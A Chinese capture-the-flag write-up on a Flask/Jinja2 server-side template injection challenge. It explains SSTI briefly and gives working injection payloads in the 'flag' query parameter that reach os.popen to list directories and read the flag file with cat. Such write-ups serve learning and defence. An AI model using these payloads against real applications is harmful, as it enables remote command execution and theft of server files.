目录
1.进入网站查看题目
再查看源代码,发现没有什么有用的。
根据题目提示SSTI,搜索一下SSTI,了解一下。
SSTI (服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术,这种模板请不要认为只存在于 Python 中,感觉网上讲述的都是Python 的 SSTI ,在这之前也给了我非常大的误导(只能说自己没有好好研究,浅尝辄止),请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
2.开始尝试
先用get传入一个flag参数试试
3.判断引擎模板类型
显示为flag参数的值,可以知道页面会显示被传入flag参数的值,然后进行报错看一看网站使用的模板类型
4.构造语句,开始注入
可以看出是用的python的flask模板,开始构造语句进行注入
?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
发现目录,进入app目录,发现flag文件
?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
5.得到flag
用cat命令查看flag,得到flag
?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}